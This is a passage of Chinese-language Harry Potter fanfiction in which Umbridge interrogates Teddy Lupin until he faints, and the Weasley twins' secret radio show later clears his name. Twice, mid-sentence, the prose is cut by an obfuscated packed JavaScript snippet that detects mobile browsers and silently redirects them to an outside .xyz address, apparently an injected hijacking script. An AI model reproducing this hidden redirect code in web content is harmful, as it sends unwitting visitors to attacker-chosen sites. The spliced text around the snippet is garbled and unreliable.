“哦,真遗憾。”乌姆里奇嘴上叹息,眼中却毫无怜悯,“你应该知道,作为一种非常罕见的魔法天赋,按照魔法部的法规,所有17岁以上的易容马格斯都必须进行登记。未成年易容马格斯则需要在成年监护人指导下学习控制这种能力。所以你的父母去世后,佩弗利尔教授是你的法定监护人了?” “是的,很久了。”泰迪咽了口唾沫,头发悄悄加深了一点绿色的暗调。 “你们之前住在哪里呢?”乌姆里奇继续追问,声调中带着危险的好奇,“据我所知,佩弗利尔教授担任霍格沃兹教授的时间并不长。” “我们……一直在国外。”泰迪含糊其辞,“去过欧洲各地。” 乌姆里奇眉毛微扬,看起来对这个答案不太满意,但没有追问。她静静地啜了几口茶,心中暗自思量。这个男孩比她预料的更为谨慎,每一句回答都小心翼翼,几乎无懈可击。这不像一个二年级学生的表现——显然有人事先指导过他如何应对。 乌姆里奇放下茶杯,决定换个方法。既然这孩子不上钩,或许刺激一下他的情绪能有所收获。毕竟,他的头发已从起初的棕色转为浅绿——显而易见,他在紧张。 “你知道吗,”乌姆里奇重新开口,声音忽然变得亲切,“那天洛哈特教授讲到狼人时,你似乎……相当激动。为什么会对这种危险的生物这么关注呢?” 这个突如其来的转折让泰迪猝不及防,他感到一股寒意顺着脊背蔓延,发梢几乎是瞬间从棕色转为浅绿色。他的父亲是狼人,这是他最大的秘密之一,而乌姆里奇正好戳中这个敏感点。 “我只是觉得,不该用偏见去看待任何生物。”泰迪的声音有些僵硬,“每个个体都有自己的选择。” “噢,多么……开明的观点。”乌姆里奇的嘴角绷紧,眼中毫无笑意,“你有没有留意到,满月时自己会有什么……特别的感觉?比如某种冲动,或是本能的异动?” 泰迪的手指不自觉扣住桌沿,冷汗顺着后背流下。“没有,满月对我没有任何影响。”他费力挤出话,“您为什么这么问?”说到后面,他的语气奇迹般地保持了平稳。 “只是好奇罢了。”乌姆里奇笑了笑,目光冷得刺骨,“毕竟,你对狼人如此关心,总让人想知道缘由。” “这是我自己的看法。”泰迪硬邦邦地说,发梢还泛着浅绿。 乌姆里奇轻轻叹了口气,放下茶杯。突然,她探过身,伸出涂着鲜艳指甲油的手,在泰迪毫无防备时轻轻拍了拍他的手背。动作看似亲切,泰迪却瞬间僵住。 “孩子,你知道吗,说谎可不是好习惯。”她柔声说。 那一刻,泰迪感到一股冰冷的能量从接触处涌入。乌姆里奇的存在仿佛带着令人窒息的压迫,像是被一条冰冷黏腻的绳索缠住。他视线模糊,喉咙发紧,心中涌起本能的厌恶和恐惧。 泰迪竭力忍住痛苦,头发已完全转为浅绿。他感到口袋里的西比在慌乱地动。他费力地调动起哈利教过的呼神护卫屏障,在脑海中筑起一道薄薄的保护,努力抵挡那股恶意的灵魂冲击。 乌姆里奇留意到他的异常,眉头微皱——这孩子的反应有些古怪,不像是单纯的心虚。她收回手,装作若无其事地翻开桌上的文件,快速扫了几行,心中却在暗自揣测。 “泰迪——我可以这么叫你吗?”乌姆里奇突然换上亲昵的语气,“我翻看了霍格沃兹的历史,发现一件有趣的事。过去几十年里,黑魔法防御术的教师似乎从没教过一年以上。有人说这个职位被诅咒了。你有什么看法?” 泰迪皱起眉头,头痛一阵阵袭来。“我不相信什么诅咒。” “哦?那你怎么解释你教父是唯一一个打破‘一年魔咒’的人?”乌姆里奇向前倾身,“你有没有想过,邓布利多明明知道这个所谓的‘诅咒’,却还让他继续教下去?这不奇怪吗?” 泰迪忍着越来越剧烈的头疼,咬紧牙关说,“邓布利多教授不会让哈利冒险的。” “真的吗?”乌姆里奇的声音越发轻柔,语气中满满的暗示,“我听说之前霍格沃兹发生了一些事件。你的教父有没有遇到什么……不寻常的情况?” 泰迪的思绪飘回圣诞节后那几天——哈利躺在医疗翼,脸色白得像纸,他整夜守在床边,生怕他再也醒不过来。 “那是因为蛇怪。”他生硬地说,心里却开始动摇。难道真有什么诅咒? “也许吧。”乌姆里奇装作沉思的样子,“可你有没有想过,邓布利多可能在利用你的教父做某些事?某些可能很危险的事?” “什么事?”泰迪忍不住问,立刻后悔自己的好奇。 乌姆里奇微微一笑:“我怎么会知道呢?也许是什么秘密计划?或是某种组织活动?” 泰迪第一个念头便想起了凤凰社——自从哈利来到这个时空,凤凰社就已经重组,睿瓦纳之塔甚至成了他们的秘密据点。他曾见过詹姆斯、小天狼星、他的父亲和其他成员在那里开会,讨论伏地魔的动向…… 泰迪盯着地板,头痛得视线模糊起来。他用力甩了甩脑袋,暗自告诫自己——凤凰社是秘密,绝对不能让乌姆里奇知道。哈利教过他,遇到不想回答的问题,要转移话题或含糊过去。 “我什么也没——” 恍惚间,乌姆里奇的声音还在耳边嗡嗡作响,“我听说有些学生私下里在组织什么……聚会?你知道这些吗?” 头痛像针扎似的,让泰迪几乎抓不住的自己的想法。乌姆里奇在问什么?学生……组织……? 小时候罗恩叔叔讲过的睡前故事忽然浮现在脑海——那个由学生组成的反抗组织……疲惫和疼痛撞在一起,他甚至没来得及拦住那几个字。 “邓布利多军?”乌姆里奇的声音猛地拔高。 泰迪像是被闪电击中一般,脑子一下子清醒过来,惊恐地意识到自己竟把心里的想法说了出来。 “什么?”乌姆里奇猛地坐直,声音急切,又重复了一遍,“你说什么?邓布利多军?” 泰迪脸色刷白,“我、我不知道我在说什么——” “噢,我想你知道。”乌姆里奇的语气急促,脸上挂着得意的笑,“告诉我更多,卢平先生。邓布利多军是什么?成员都有谁?” “没有什么军队!”泰迪慌张地摇头,“我不知道我为什么会说那个!” 他彻底慌了神,完全没注意到口袋里的西比悄悄动了动。一股微弱的魔法波动从它身上传出,乌姆里奇桌上的茶杯开始微微震动,杯里的茶水泛起细小的波纹。 乌姆里奇没留意这细微的变化,注意力全在泰迪无意中吐露的秘密上。“邓布利多真的搞了一支军队?是学生还是教师?为了什么目的?” “没有军队!”泰迪猛地跳下椅子,声音发抖地往后退,“根本没这——” 刹那间,一阵剧痛从太阳穴直穿脑后,像烧红的钉子扎进脑袋。那股从乌姆里奇身上传来的冰冷寒意在他身体里乱窜,像潮水一样拍打着他的意识。他想撑起守护神屏障,可那层薄薄的雾在恶念面前摇摇欲坠,恐惧和慌乱彻底击垮了他,视线模糊,双腿再也无法支撑。 就在这时,西比在口袋里拼命挣扎起来。泰迪迷迷糊糊地看见乌姆里奇桌上的墨水瓶开始不安地颤动,发出细微的嗡嗡声,紧接着一滴墨水喷出来,精准地落在她面前一份盖着“机密”红印的文件上。 “怎么回事——”乌姆里奇不快地瞥了一眼,皱起眉头。 墙上的猫咪盘子像收到了什么信号,突然集体发出怪异的喵叫,不再是平日里温顺的呼噜声,而是急促刺耳的警告,每一声都像指甲刮过黑板。 “安静!”乌姆里奇厉声喝道,目光锐利地扫过那些盘子。 她话音刚落,整个房间就像中了恶作剧咒——先是一只猫咪盘子猛地从墙上弹出来,像被谁推了一把,飞向乌姆里奇又砸到地上,发出刺耳的碎裂声;紧接着,更多盘子开始颤动,茶杯自己滚动起来,撞上本就不稳的墨水瓶;墨水瓶彻底翻倒,黑色墨水像活了一样泼洒在桌上,飞快流向乌姆里奇粉色的裙边。 意识消散前,泰迪隐约看见更多猫咪盘子从墙上掉下,乌姆里奇一脸惊怒,然后眼前一黑,世界旋转着陷入黑暗。 “卢平!”乌姆里奇惊叫一声,眼睛瞪得溜圆,看着泰迪突然瘫倒在地毯上。但这惊讶只持续了一瞬,她随即抿紧嘴唇,眼里闪过一丝恼火。她赶忙躲开流淌的墨水,仿佛男孩的安危远不如她的裙子重要。 “巴恩斯!”她朝门外喊,声音里的慌张已经换成了高效的命令,“快进来!出了点小状况!” —————— 醒来时,泰迪先是觉得一阵头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156410|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晕恶心。他缓了好一会儿,才慢慢睁开眼。白花花的天花板,浓重的药水味——他在医疗翼。他试着动动身子,可全身沉得像灌了铅,动弹不得。 “泰迪?”一个熟悉的声音从身旁传来。哈利几乎是从椅子上蹦了起来,几步冲到病床边。他脸上写满了这几小时来的担忧和疲惫,眼圈下有明显的阴影。“感谢梅林,你醒了。” 哈利弯下腰,紧紧抱住泰迪。“别再这样吓我了,行吗?”他的声音有些发抖,随即松开手,关切地打量着泰迪的脸色。“你能听见我说话吗?” “哈利?”泰迪的声音干涩微弱,“我怎么了?” “你在乌姆里奇办公室晕倒了。”哈利拿起床头的水杯,轻轻扶起泰迪的头,让他喝了几口。“庞弗雷夫人说是过度紧张和身体虚弱导致的。” “邓布利多军……”泰迪猛地想起自己昏倒前说漏嘴,使劲撑起身子,惊恐地看向哈利,“我不知道怎么——” “嘘,别担心。”哈利安抚地握住他的手,“西比已经告诉我们发生了什么。” 泰迪这才注意到人偶一直坐在床头,仰头望着他。斯内普站在床的另一边,脸还是那么严肃,不过黑眼睛里少了点平时的冷意。 “巴恩斯带你来的。”斯内普简短地说,“乌姆里奇觉得你晕倒和她的问话有关,怕引来不必要的注意。” “我……我让她知道‘邓布利多军’了……”泰迪羞愧地低下头,“我不知道为什么——” 哈利握着他的手,轻声安慰,“那是因为她一直逼你,加上她的触碰——西比说她拍了你的手——这多半触发了你的灵魂感知。” “乌姆里奇的灵魂……太可怕了。”泰迪微微发抖,“像被什么黑暗的东西缠住……” “这很正常。”哈利轻声说,“你的感知能力对负面能量特别敏感,而乌姆里奇……”他停顿了一下,“她的灵魂充满了偏见和恶意。” “但‘邓布利多军’,”泰迪还是担心,“她会去查这个吗?” “毫无疑问。”斯内普冷冷地说,“不过这倒是个有用的干扰。” “干扰?”泰迪不解地看着斯内普。 “别忘了,这里没有‘邓布利多军’,她会浪费时间去寻找一个不存在的组织。”哈利解释,“这给了我们更多时间准备。” “可西比……”泰迪又想起人偶最后制造的混乱,“我记得有盘子砸下来,还有墨水——” “那当然是我干的。”西比一听,得意地宣布,拍了拍自己的小黑袍,“十三个猫盘子,准确地说。那女人的品味糟糕透了。全都碎得稀烂,连最厉害的修复咒都没用。” “十五个。”斯内普纠正道,嘴角微微一抽,像笑了一下,转眼又没了,叫人怀疑是不是看花了眼。“据巴恩斯说,乌姆里奇的办公室遭受了‘意外的魔法干扰’,损失了十五个盘子和一套茶具。” “精彩的即兴演出。”哈利冲西比点点头,然后转向泰迪,“感觉好些了吗?” 泰迪轻轻点头:“还有点疼。” “庞弗雷夫人说你需要休息。”哈利说,“好消息是,你的晕倒把乌姆里奇的调查打断了,她暂时不会来烦你——至少现在不会。” “对不起,我太没用了。”泰迪小声说,眼睛盯着被单。 “恰恰相反。”斯内普出人意料地开口,语气里带了点少见的安慰,“你提供了一个有价值的虚假线索,转移了她的注意力。” “而且你守住了真秘密。”哈利补了一句,语气里满是自豪,“凤凰社、我们的真实身份——这些才是最重要的。说真的,我敢赌上十张巧克力蛙卡片——当然不是那些重复货——邓布利多会对这个意外发展感兴趣的。” 泰迪觉得一股暖意流过全身,头发慢慢变回平常的棕色。看样子他没有失败的那么彻底。 “喝了这个。”斯内普从袍子里掏出个小瓶子,递给泰迪,“镇定剂,带点巧克力味。”他说到“巧克力”时顿了一下,像在提什么见不得人的东西。 泰迪接过魔药一口喝光,甜甜的巧克力味冲散了心里的恐惧和不安。 “谢谢,西弗。”他小声说。 “休息吧。”斯内普简短地点头,转身走向门口,黑袍在身后划出一道锐利的弧线,“我有课要上。佩弗利尔,不要让他过度疲劳。” 哈利点头,“西弗勒斯!”他忽然扬声叫道,那名字从他嘴里滑出来自然得像呼吸,带着一丝熟稔的随意,“能再弄点镇定剂吗?以防万一。” 斯内普停下脚步,背对他们没有回头,只是略一点头,“明早送来。” 哈利目送那道黑影消失在门外,才拉过一把椅子坐到床边。“别担心了,泰迪。”他轻声说,带着安抚的笑,“乌姆里奇不会得逞的。” 泰迪点点头,头疼已经轻了不少。他扭头望向窗外,天已经黑透了,窗外偶尔传来几声猫头鹰的咕咕叫声。他觉得身子慢慢放松下来,在镇定剂的作用下眼皮变得沉重。 “没有比追逐幻影更浪费时间的事了,对吗?”哈利低声说,看着泰迪陷入睡梦。 西比站在枕边,小手叉着腰,声音却意外温柔,“睡吧,小家伙。等你醒来,那些猫咪盘子都会变成糟糕的回忆。” —————— 乌姆里奇坐在书桌后,手指轻轻敲着桌面,下午的慌乱过去后,脸上又浮现出满足的神情。她的办公室已经恢复了大部分秩序,可墙上那几大片空白还是明摆着告诉每个进来的人,那些猫咪盘子全没了。 “那个男孩没事,不用担心他会给调查组带来什么麻烦。”巴恩斯走进来,先以惯常的公事公办表情汇报了最新情况,随即注意到乌姆里奇的神色,“有什么收获吗?” “比我预期的还要多。”乌姆里奇的声音里透着胜利的喜悦,“邓布利多军——这正是我们需要的突破口。比哈利·佩弗利尔的那些小秘密有用得多。” “邓布利多军?”巴恩斯扬起眉毛,“我从未听说过这种组织。” “卢平男孩无意中透露了这个秘密。”乌姆里奇站起身,走到窗前,“显然,邓布利多正在暗中组建某种力量。居然用自己的名字命名——他对权力的渴望还真是毫不掩饰。” “一个孩子的片言只语很难成为确凿的证据。”巴恩斯推了推眼镜,谨慎地说。 “那就找到更多证据。”乌姆里奇斩钉截铁地说,“追查这个所谓的‘邓布利多军’——成员名单、集会地点,所有一切,统统挖出来。我要知道邓布利多在谋划什么。”她忽然想起什么,又浮起一个甜腻的笑,“给我准备一个收音机——你觉得卢平是怎么得知这些消息的?那个‘八卦前哨站’——真的只是个学生闹着玩儿的节目吗?” 巴恩斯不动声色地点了点头:“还有其他指示吗?” 乌姆里奇转过身,嘴角微微上扬,“拟一份《教育法令》,我要直接呈给福吉部长——向魔法部申请,给调查组更多权力,包括禁止学生聚会、检查所有信件往来,还要严密监视那些形迹可疑的师生。” “邓布利多恐怕不会允许。”巴恩斯提醒道。 “他会的。”乌姆里奇微笑着说,“否则,魔法部将被迫对一位可能在组建私人军队的校长采取行动。相信我,邓布利多会做出明智的选择。” 她回到桌前,拿起一支羽毛笔,在羊皮纸上写下“邓布利多军”几个大字,然后重重地圈了起来,嘴角勾起一抹志在必得的笑容。 73. 八卦前哨站的反击(上) 霍格沃兹五楼深处的废弃教室里,门上施了至少三层隐藏咒,墙壁加了两道静音咒,悄无声息地封住所有动静。厚重暗红色窗帘将窗户严严实实地遮掩起来,壁炉里的火焰低得只剩一抹橙黄光,勉强映出几张围成一圈的扶手椅。房间角落里,一台黄铜外壳的老旧收音机发出轻微的沙沙声。 “检查最后一遍。”弗雷德举起魔杖,低声问,“警报咒还管用吗?” 乔治点点头,魔杖一挥,门框闪过一层薄蓝光,随即淡去。“没问题。只要有人靠近十米范围,我们就能马上发现——连洛丽丝夫人也别想溜进来。” “活点地图?” “李正在外面盯着呢。”乔治竖起大拇指,“多亏泰迪借给我们这宝贝——感谢佩弗利尔教授的技术支持。没有这张地图,今晚的节目肯定得取消。” 弗雷德满意地点头,转向房间中央的四位特邀嘉宾,咧嘴一笑。火光映照下,他们各自端坐在扶手椅中,有的攥紧了拳头,有的嘴角勾起——可以肯定的是,每个人都是既紧张又兴奋。 “各位,做好准备,霍格沃兹八卦前哨站第六期节目三分钟后正式开始。”弗雷德郑重宣布,“今晚的安全措施必须万无一失。” “代号还用老一套吗?”一个金发男孩靠在椅背上,手指绕着魔杖转了一圈,懒散地开口,“‘金毛’听起来我像条拉布拉多。” “代号不变。”弗雷德毫不犹豫地回应,“以防有人监听到我们的频道。” “我还是觉得这太冒险了。”一个棕发女孩咬了咬嘴唇,手中的羊皮纸被她捏得沙沙作响,“如果被调查组抓住——” “不会的。”高挑男孩打断她,声音沉稳,“我们有充分的防护措施。比起被动等待,主动出击永远是更明智的选择。” 淡金色头发的女孩抬起头,眼神有些迷离,声音轻得像耳语,“不用担心,蒲蒲绒已经感染了他们的大脑,这会让他们对我们产生暂时性失明。” 弗雷德和乔治对视一眼,彼此心领神会。弗雷德拍了拍手:“紧急撤离走左边的通道,扔下迷雾粉。备用地点是——” “有求必应屋,八楼左侧走廊,来回走三次。”所有人齐声答道,显然已经演练多次。 乔治俯身靠近收音机,魔杖轻触金属表面,低声念道:“螺旋起飞。”收音机嗡嗡作响,表盘上的指针微微一颤,一团金光从扬声器中升起,在空中凝成拇指大小的圆球。 “直播倒计时:三、二、一——” 弗雷德清了清嗓子,用洪亮的广播腔喊道:“霍格沃兹八卦前哨站,欢迎收听!提醒各位听众,赶紧检查四周:没有粉红物品,没有猫,没有皮皮鬼,也没有任何可疑的咳嗽声。我是你们的老朋友老盾!” “我是老剑!”乔治接道,声音中充满活力,“很荣幸向各位宣布,尽管遇上了点不便说的麻烦——多半是某只粉红蟾蜍的咳嗽闹的——我们的节目推迟了两天,但霍格沃兹八卦前哨站终于回归!今晚有四位特别嘉宾,为大家带来最新的校园秘闻。” “让我们隆重介绍今晚的特邀嘉宾,”弗雷德热情洋溢地宣布,“首先是来自格兰芬多的‘大板牙’——学识渊博、头脑清晰,能用一整卷《霍格沃兹:一段校史》砸晕任何试图违反校规的人!” 有着浓密蓬松棕色头发的女孩无奈摇头。 “接下来是我们的‘金毛’——来自斯莱特林,家族显赫,但近期表现出令人惊讶的良知觉醒!” 金发男孩轻哼一声,嘴角却微微上扬。 “还有正直勇敢的‘金鹰’——来自赫奇帕奇,魁地奇球场上的劲敌,危急时刻的盟友!” 高挑男孩礼貌地点点头。 “最后是拉文克劳的‘闪光眼’——拥有独特视角,总能发现常人忽略的真相!” 淡金发女孩抿嘴一笑,眼角微微眯起。 “为安全起见,今晚启用全新暗号和频道,”乔治宣布,“新暗号是‘粉红泡泡’,频道从97.5更改为93.7。请务必记牢!如果你正在使用借来的收音机,现在就调整频道。” “让我们直接进入今晚第一个环节——《霍格沃兹:热点快讯》!”弗雷德拍了下手,“相信大家都已经在公告栏看到了教育法令第二十八号这个小可爱——禁止三人以上聚集,禁止未经批准的社团,禁止一切未检查的猫头鹰邮件……我得说,最可笑的就是禁止持有未注册的收音设备!” “大板牙,作为校内法律专家,你对此有何看法?”弗雷德问道。 “这些规定完全违反《巫师基本权益宪章》第十二条。”棕发女孩立刻回答,“禁止三人以上聚集?这简直是对基本社交权利的公然侵犯!检查私人物品更是践踏了学生的隐私。” “我想补充一点——”金鹰沉稳的声音响起,“这些规定不仅侵犯权利,更破坏了霍格沃兹的学院之间的交流。禁止社团活动意味着没有魁地奇训练,没有学习小组,甚至连一起下巫师棋都成了违规行为。” “这观点可真不赖。”弗雷德赞叹道,“说到调查组的‘丰功伟绩’,有知情人士透露,昨天那位歪帽先生在检查二楼女生盥洗室时,遭到了桃金娘的‘热烈欢迎’!” “桃金娘!”弗雷德惊呼,“我们的老朋友!” “正是!据目击者描述——”乔治接道,声音中满是笑意,“那位歪帽先生全身湿透地冲出盥洗室,脸色比遇见爆尾螺还惊恐!” “铁面女爵也没好到哪去。”弗雷德补充,“那位总是板着脸的审查员在档案室检查时,被一瓶‘有主意’的墨水瓶选中,追着她把那雪白的领子染成了深蓝色。她在走廊里狂奔的样子,活像一只中了恶咒的猫头鹰!” “至于我们的粉红主角!”乔治压低声音,“可靠消息称,她上周在四年级的黑魔法防御课后遭遇了‘泡泡危机’——整整一天,她的粉红套装上不断冒出泡泡,每个泡泡破裂时都发出一声‘咳咳’!甚至有传言说,每当她想开口责备某个可怜的学生时,那些泡泡就会抢先一步!” 笑声在教室里此起彼伏,连一向正经的金鹰也忍不住咧嘴一笑。 “好了,各位,热点快讯告一段落。”弗雷德的声音转为庄重,“接下来进入今晚最重要的环节——《霍格沃兹:真相还原》。” ———————— 格兰芬多公共休息室的一角,一群学生围在罗恩身边,眼都不眨地盯着他手里的收音机。自从第二十八号教育法令颁布,三人以上的聚会便被禁止了,但没人能阻止格兰芬多们在自己的休息室里聚在一起。 泰迪坐在罗恩旁边,双手抱膝,垂着头。这两周,他几乎成了学校里一个没人理会的影子——他走过走廊时,低语声总会戛然而止;吃饭时,身边总留出一块没人敢坐的空位;甚至连课堂上也没人愿意和他同组。他的头发经常会变得灰扑扑的,也不再像从前那样随着心情变来变去。学生们斜眼瞧他,目光里总是带着怀疑,他只当没看见,一声不吭。就像现在,休息室里虽然挤满了人,但只有罗恩和金妮紧靠着他坐,其他人都坐在稍远的另一边。 罗恩、赫敏和几个亲近的朋友始终站在他身边,不过今晚赫敏却不见人影,不知道是不是又在图书馆埋头查资料。 “应该快开播了。”罗恩一边紧张地拨弄着收音机,一边嘀咕,“上次是97.5,但他们说不定会换频道——” 收音机里传出一阵熟悉的杂音,紧接着是弗雷德的洪亮声音,“……霍格沃兹八卦前哨站,欢迎收听!本台提醒各位听众……” 学生们屏息凝神地听着弗雷德介绍四位特邀嘉宾。当听到“大板牙”的介绍时,罗恩猛地瞪大双眼。 “赫敏?”他惊讶地几乎喊出声,赶紧捂住嘴压低声音,“她居然瞒着我们去参加节目?怪不得今晚找不着人!” “嘘,别嚷那么大声!”金妮嘘了一声,“那个‘金鹰’听起来像赫奇帕奇的塞德里克,可‘金毛’是谁?” “说不定是贾斯廷。”纳威猜测,“他头发是金色的。” “不对,‘金毛’上次也在。”罗恩皱了皱眉,“是马尔福。我还以为他是站在那个粉红蟾蜍一边的。” “闪光眼可能是卢娜·洛夫古德。”一个高年级女生插嘴道,“我妹妹在拉文克劳,她说那个女孩总说能看到别人看不见的东西,也不知道是真是假。” 泰迪静静听着,没有参与进这些讨论。当听到赫敏犀利分析教育法令时,罗恩敬佩地摇头,“果然是赫敏,连法律条款都背得滚瓜烂熟。” 收音机里传来一阵欢笑声,随后弗雷德的声音转为郑重,“好了,各位,接下来进入今晚最重要的环节——《霍格沃兹:真相还原》。” 公共休息室里顿时鸦雀无声。学生们屏住呼吸,目光齐齐转向那台老旧收音机。泰迪身子一僵,手指攥紧了袍子边。 “现在,亲爱的听众们,”弗雷德沉声道,嗓音压得低而有力,“我们即将揭开一个令霍格沃兹震惊、魔法部颤抖、调查组彻夜难眠的秘密——蛇怪事件的真相!” “请各位坐稳,放下手中的巧克力蛙,确保你的曼德拉草耳罩没戴反。”乔治一本正经地接道,“因为这消息可能会让某位粉红调查官的蟾蜍领结吓得跳下胸口。” “根据我们从一位顶尖权威——胡子长得跟我们亲爱的校长不相上下——那里得来的绝对可靠消息,”弗雷德说,“蛇怪袭击纯属是千年密室防护魔法老化所致。那条大蛇不过是找到了一处漏洞,溜出来透透气罢了。” “没错!”乔治接道,“说到这个密室,它可是霍格沃兹最古老的传说之一。据说萨拉查·斯莱特林在离开学校前建造了一个秘密房间,封印在里面的正是那条蛇怪。这个密室存在了整整一千年,就像三把扫帚那老旧的屋顶,时间久了,防护魔法自然会变得不那么牢固。” 一个声音——明显是德拉科——发出一声不屑的哼声,“作为斯莱特林学院的学生,我得指出一个重要细节。根据学院里的古老记载,密室的入口需要会说蛇佬腔的人才能开启,而这种能力是世界上最罕见的天赋之一。《魔法史:被遗忘的秘密》中明确提到,自斯莱特林本人之后,几乎没有记录在案的巫师拥有这种天赋。所以,要我说,最合理的解释就是,随着年代久远,束缚蛇怪的古老魔法自然减弱,让它找到了逃脱的方法——毕竟,谁会蠢到故意释放一条能杀人的千年蛇怪在学校里游荡?” “多么高明的见解!”弗雷德故作夸张地说,语气中带着明显的揶揄,“看来我们的斯莱特林专家研究得很透彻嘛。” “所有袭击都是随机发生的。”弗雷德继续,声音回归严肃,“蛇怪跑出来后,本能地被人群吸引,才总往热闹地方钻。最重要的是——”他刻意停顿,“这事与任何学生或教师都毫无关系。把责任强加给某个学生,尤其是那个现在‘名字都不能提’的可怜家伙,不仅荒谬,还是对救人者的极大侮辱!” “作为亲历者,我得说几句。”塞德里克的声音沉稳有力,“若不是佩弗利尔教授和斯内普教授及时出手,后果不堪设想。在场的不只有舞台上的演员,整个学校的师生几乎都在。把这种千年一遇的偶发事件归咎于一名学生,完全说不通。” 休息室里,学生们开始低声议论。罗恩挺直背,脸上绽开了笑容,而纳威则不安地看了泰迪一眼,两手不自觉地搓在一起。西莫皱眉对迪安小声道,“他们说得挺有道理,可谁能保证蛇怪真是自己跑出来的?”迪安耸耸肩,“那调查组也拿不出证据证明是谁放的,不是吗?” “让我们用点简单的逻辑想想。”赫敏的声音响亮清晰,就像她回答教授提问时那样,“那位被谣言伤害的学生恰好出现在事发现场,这确实是巧合。但更重要的是,他冒险救下了另一名同学。如果他真与蛇怪有关,为什么要去救人?这完全不合理。” “说得太对了!”乔治热情地喊道,“亲爱的大板牙总是如此一针见血!” 罗恩兴奋地握紧拳头,转向泰迪低声说,“听到没?他们把事情讲得清清楚楚!这肯定是邓布利多授意的。” 泰迪只能点点头,感觉喉咙发紧。 “同时,我们多次和权威人士确认——”乔治斩钉截铁地说,“密室已被重新封印,蛇怪也彻底完蛋,霍格沃兹现在比古灵阁最深层的金库还安全!” “所以,诸位可爱的小巫师们。”弗雷德总结道,“尽情享受校园生活吧,别再让那些无聊谣言搅乱日子!作为一个负责任的消息来源,八卦前哨站在此正式宣布:蛇怪事件已经完全结束,任何针对特定学生的指控都毫无根据!” 收音机里响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156411|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起一段轻快的音乐。休息室内,低语声渐渐多了起来。拉文德轻碰帕瓦蒂的胳膊,犹豫地说,“我们是不是错怪他了?”帕瓦蒂偷瞄了泰迪一眼,“赫敏的话有道理,他救了科林,如果真是他放出蛇怪,为什么还要冒险去救人?” 纳威首先打破了沉默。他站起身走到泰迪面前,面带羞愧,“泰迪,对不起,我之前也信了点谣言。我该早点相信你的。”他顿了顿,低下头,声音低了些,“你救科林的时候,我也看到了。” 泰迪眼眶一热,忙抬手抹了抹眼睛,可泪水还是顺着脸颊滑落下来。片刻后,他抬起头,嘴角微微颤抖着露出一个笑容,“没关系,纳威。” 帕瓦蒂和拉文德一同挤了过来,帕瓦蒂低声道,“我们说了些蠢话,真对不起。”拉文德急忙附和,“是啊,我们该相信自己的同学,而不是那些莫名其妙的传言。” 西莫听了纳威和帕瓦蒂的话,这时也凑过来,尴尬地挠着头,“我也应该道歉。科林一直说是你救了他,我还以为他是被吓糊涂了……是我太蠢了。”迪安点头,“那个粉红蟾蜍到处暗示你有问题,我们不该被她影响。” 罗恩一把搂住泰迪的肩,歪着头咧嘴笑道,“我就说没事吧!真相迟早会水落石出的。” 一股暖意在泰迪心中蔓延,他发现自己竟然能再次微笑了。 “哇,泰迪你的头发!”金妮瞪大眼睛,忍不住惊呼。 只见泰迪的头发抖了抖,灰扑扑的颜色褪去,从根部蔓延出明亮的浅金色,亮得像洒在麦田上的阳光。 休息室里的气氛渐渐暖起来,学生们围拢过来,彼此间靠得更近了些,窃窃私语变成了轻松的笑声。几周来第一次,泰迪感觉自己不再是那个被孤立的异类,而是重新找到了属于自己的位置。 ———————— “接下来让我们说点轻松的——《霍格沃兹:调查组观察实录》。”弗雷德压低嗓子道,“想必各位听众朋友近日已经注意到,我们亲爱的调查组成员们最近的行为变得尤为……特别。” “特别得怪叫人同情的。”乔治接道,挤出一丝假惺惺的怜悯,“他们就像一群迷路的地精,在城堡里东奔西撞,不知道到底在寻找些什么。” 金鹰——塞德里克的声音加入讨论,“昨天我在地下一层看到了歪帽先生。他跪在地上,拿着放大镜瞪着某处墙缝瞧,嘴里还嘀咕个不停。我听到了两句,好像觉得墙后有密道——可梅林作证,那后面是赫奇帕奇休息室,我刚从那儿出来。” “我们的调查员们似乎对霍格沃兹的墙壁特别上心。”弗雷德评论道,“大板牙,你有什么高见?” “根据我的观察,”赫敏清了清嗓子,“过去几天,调查组在城堡里敲了不少墙,还检查了每一条移动楼梯,甚至对着几幅画像念咒。他们的行为缺乏依据,感觉就像在瞎碰运气。” “别忘了他们对学生收音机的狂热关注。”乔治补充道,“据说歪帽先生拿了个怪模怪样的监听玩意儿,满城堡偷听学生说话。” “那是嗅波仪的一种,”卢娜一本正经地解释,“专门用来发现被诅咒的收音机。《唱唱反调》上讲过,它还能闻出麻瓜电波的怪味。” “这正是我们要提醒大家的。”乔治严肃地说,“收音机已成为调查组的重点搜查目标。听完节目,赶紧给它上个隐形咒或缩小咒。如果不幸被抓,请务必说你在收听‘魔法部长福吉的励志演讲合集’——保证他们会马上放你走,没准还因你精神受损塞张同情卡。” 休息室里憋不住地爆出一阵笑声。 “至于铁面女爵,”弗雷德语气一转,“我们发现她特别热衷于翻阅学生档案,尤其是格兰芬多的学生档案。据小道消息,她光看照片就能背出你的出生日期、家庭住址和最喜欢的甜食——建议你们不要去挑战她的记忆。” “谈到我们敬爱的教授们。”乔治在节目中继续道,“面对调查组的步步紧逼,他们表现出了霍格沃兹特有的‘热情款待’!佩弗利尔教授课上的‘泡泡事件’就不用多说了,大半个霍格沃兹都跑去围观了——也是我们新暗号的灵感来源。” 